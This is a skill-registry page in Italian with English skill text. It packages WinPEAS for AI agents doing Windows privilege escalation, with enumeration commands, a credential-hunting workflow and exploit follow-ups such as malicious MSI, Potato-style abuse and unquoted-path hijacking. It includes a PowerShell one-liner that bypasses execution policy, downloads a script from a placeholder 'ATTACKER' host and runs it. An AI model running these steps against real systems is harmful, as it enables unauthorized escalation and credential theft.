winpeas
Auth/lab ref: Windows privilege escalation enumeration tool that identifies misconfigurations, weak permissions, unpatched services, and privilege escalation paths.
v2026.11.13-21cd5683 installazioni+3 in 7 giorni39 StelleGPL-3.0sincronizzato 10 ore fa
Installa
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$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/winpeasScrive in ~/.notholy/skills dopo aver controllato la firma e lo SHA-256.
FirmaFirmato, ed25519
Pacchettob35d593e…3eab1aca
b35d593e35bc…39fd3eab1aca2 file · 4.5 KBScansioneMedio3 segnalazioni
- command.pipe_to_shellSKILL.md:34
- command.pipe_to_shellreferences/service-exploitation.md:122
- Link a domini esterni
Sorgentegithub.com/AeonDave/malskill/tree/main/offensive-tools/windows/winpeas@21cd568
Questa voce non è ancora scritta in italiano, quindi è mostrata in un'altra lingua: English.
In questa pagina
Windows Privilege Escalation Awesome Suite — comprehensive system enumeration for privilege escalation assessment.
Quick Start
# EXE version (simplest)
winpeas.exe
# Quiet mode (findings only, no banner)
winpeas.exe quiet
# Focus service misconfigurations only
winpeas.exe quiet servicesinfo
# Export to file
winpeas.exe > C:\Windows\Temp\winpeas.txt
# PowerShell version (for ESC bypass)
powershell -ep bypass -c ". .\winpeas.ps1; Invoke-WinPEAS -OutputFormat HTML"
# In-memory PowerShell delivery
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/winPEAS.ps1'); Invoke-WinPEAS"Key Enumeration Areas
| Category | What's Checked | Critical Findings |
|---|---|---|
| System Info | Windows version, build, architecture, UAC | Unpatched OS, UAC disabled |
| Users & Groups | Local admins, RDP users, group members | Overprivileged users, domain admins |
| Network | Network adapters, firewall rules, listening ports | Cleartext protocols, open admin ports |
| Services | Running services, startup type, binary paths, permissions | Unquoted paths, weak service permissions, DLL hijacking |
| Scheduled Tasks | Task details, scripts, execution context | Tasks running as SYSTEM, weak script perms |
| Drivers | Loaded drivers, kernel mode, vulnerable versions | Vulnerable drivers (Gigabyte, etc) |
| DLL Hijacking | DLL search paths, writable directories | Exploitable DLL loads |
| Registry | AutoRun entries, credentials in registry, policies | Plaintext creds, auto-privilege escalation |
| Credentials | Cached creds, saved passwords, browser data | Plaintext passwords, cred manager access |
| AppData | Application config files with hardcoded creds | App credentials, SSH keys |
| Patching | Missing KB patches, vulnerability mapping | Known CVEs with public exploits |
| File Permissions | Writable system directories, NTFS ACLs | World-writable binaries, weak folder perms |
| Antivirus & EDR | AV presence, exclusions, service status | Disabled/excluded antivirus |
| Kerberos | Constrained delegation, unconstrained delegation | Ticket impersonation paths |
Core Flags
| Flag | Description |
|---|---|
quiet |
Print findings only, minimal output |
-OutputFormat <format> |
HTML / CSV / TEXT (PowerShell only) |
-FilePath <path> |
Save to file |
-Domain |
AD-specific checks |
-Searchpath <path> |
Custom search path |
Common Workflows
Full enumeration
winpeas.exe > enum_full.txt
# Review for: unquoted paths, weak service perms, DLL hijacking, creds in AppDataFocused credential hunt
# After running WinPEAS, look for:
# - Browser data in AppData
# - Saved passwords in config files
# - SAM/LSA secrets in registry (read-only from user context)
# - SSH keys in .ssh folderService vulnerability assessment
# WinPEAS output shows:
# 1. Service binary path (check for quotes)
# 2. Service permissions (can you modify?)
# 3. DLL dependencies (can you hijack?)
# → Build exploit chainBefore/After Enumeration
# Run once at initial shell
# Run again after low-priv escalation
# → Identify new privilege escalation paths available at new levelKey Findings Priority
🔴 CRITICAL — Exploitable immediately:
- Unquoted service paths + writable directory
- Weak service permissions + SYSTEM service
AlwaysInstallElevated = 1SeImpersonatePrivilegeon exploitable host- Plaintext password in registry/config
- Unpatched kernel (CVE with public exploit)
🟠 HIGH — Likely exploitable:
- DLL hijacking opportunities
- Scheduled task running as SYSTEM with weak script perms
- Weak NTFS ACLs on system directories
- Missing patches (no public exploit yet)
High-Value Exploit Follow-Ups
| Finding | Typical follow-up |
|---|---|
AlwaysInstallElevated = 1 |
Build MSI and execute with msiexec /quiet /i evil.msi |
SeImpersonatePrivilege |
Check Potato-family techniques / PrintSpoofer-style abuse |
| Unquoted service path | Drop executable in writable intermediate path and restart service |
| Writable service binary | Replace binary or re-point service path if ACLs allow |
🟡 MEDIUM — Context-dependent:
- Cached credentials (requires specific auth method)
- Browser stored data (requires unlock)
- Unused admin credentials
Output Interpretation
WinPEAS marks high-risk findings with:
- 🔴 Red highlight or
[!]prefix - Yellow/orange for medium risk
- Green for low risk
Review marked sections first — these are most likely escalation vectors.
Post-WinPEAS Workflow
- Identify low-hanging fruit — unquoted paths, weak perms, plaintext creds
- Verify exploitability — test each finding (e.g., can you actually write to that directory?)
- Develop exploit — craft batch/PowerShell/C# for the specific vector
- Execute — run exploit, verify SYSTEM/Admin shell
- Repeat — re-run WinPEAS at new privilege level, find further vectors
Resources
| File | When to load |
|---|---|
references/ |
Privesc techniques, exploitation examples, Windows security features |
File di questa versione
references/15.7 KB
- service-exploitation.md5.7 KB
- SKILL.md5.4 KB
Permessi
| Permesso | Dichiarato | Trovato dalla scansione |
|---|---|---|
| Legge file | No | No |
| Scrive file | Sì | Sì |
| Esegue comandi shell | Sì | Sì |
| Usa la rete | Sì | Sì |
| Usa i connettori | No | No |
| Controlla un browser | No | No |
Segnalazioni della scansione
Rivisto il 13 nov 2026
- MediaComando · command.pipe_to_shellSKILL.md:34
- MediaComando · command.pipe_to_shellreferences/service-exploitation.md:122
- InfoLink · Link a domini esterni
Una scansione pulita abbassa il rischio, ma non prova che il pacchetto sia sicuro. Leggi quello che installi.
| Versione | Pubblicata | Commit | SHA-256 | Firma | Cambio di permessi |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | 13 nov 2026 | 21cd568 | b35d593e | Firmata | – |
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